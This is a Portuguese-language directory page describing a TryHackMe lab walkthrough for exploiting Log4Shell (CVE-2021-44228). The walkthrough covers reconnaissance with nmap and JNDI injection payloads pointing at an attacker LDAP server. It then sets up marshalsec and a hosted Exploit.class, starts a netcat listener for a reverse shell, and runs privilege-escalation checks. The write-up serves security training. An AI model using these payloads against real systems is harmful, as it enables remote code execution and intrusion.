Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
solar-exploiting-log4j — This repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution. | Kitploit
Ferramentas/GitHubGitHub/lavanya2085/solar-exploiting-log4j
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHublavanya2085/solar-exploiting-log4j

solar-exploiting-log4j

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Ver Repositório
há 5 mesesAinda não revisado

This repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution.

Compartilhar

🔥 Solar Exploiting Log4j - Passo a Passo do TryHackMe

📌 Sala: Solar Exploiting Log4j

Plataforma: TryHackMe Dificuldade: Médio Tópico: Log4Shell (Vulnerabilidade Log4j)


🧠 Objetivo

Explorar a vulnerabilidade Log4j (CVE-2021-44228) para obter execução remota de código e capturar flags.


🛠️ Ferramentas Utilizadas

  • Nmap
  • Burp Suite
  • cURL
  • Netcat
  • Servidor HTTP Python

🌐 Passo 1: Reconhecimento

🔍 Escanear Alvo

root@kitploit:~
nmap -sC -sV <TARGET_IP>

📌 Descobertas

  • Portas abertas: 80 (HTTP), outras dependendo da sala
  • Aplicação web rodando backend baseado em Java

🌐 Passo 2: Enumeração Web

  • Visitar a aplicação web no navegador
  • Interagir com campos de entrada (login/pesquisa/campos de cabeçalho)
  • Capturar requisição usando Burp Suite

💥 Passo 3: Identificar a Vulnerabilidade Log4j

A vulnerabilidade Log4j permite injeção JNDI:

root@kitploit:~
${jndi:ldap://<ATTACKER_IP>:1389/a}

Se a entrada for registrada → a vulnerabilidade existe.


⚙️ Passo 4: Configurar Listener

Iniciar Netcat

root@kitploit:~
nc -lvnp 4444

Iniciar Servidor LDAP Malicioso (Exemplo)

root@kitploit:~
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

Executar servidor LDAP:

root@kitploit:~
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

📡 Passo 5: Hospedar Payload

root@kitploit:~
python3 -m http.server 8000

Criar classe Java maliciosa (Exploit.class)


🚀 Passo 6: Acionar Exploit

Injetar payload no campo vulnerável:

root@kitploit:~
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

💡 Usar cabeçalhos como:

  • User-Agent
  • X-Api-Version

🖥️ Passo 7: Obter Reverse Shell

Uma vez acionado:

  • O alvo se conecta de volta ao listener Netcat
  • Você obtém acesso ao shell

🔐 Passo 8: Escalação de Privilégio (se necessário)

Verificar:

root@kitploit:~
sudo -l

Procurar por:

  • Binários SUID mal configurados
  • Arquivos graváveis
  • Tarefas Cron

🚩 Passo 9: Capturar Flags

root@kitploit:~
find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 Conceitos Chave Aprendidos

  • Log4Shell (CVE-2021-44228)
  • Injeção JNDI
  • Execução Remota de Código (RCE)
  • Reverse Shell
  • Exploração Web

Baixar ferramenta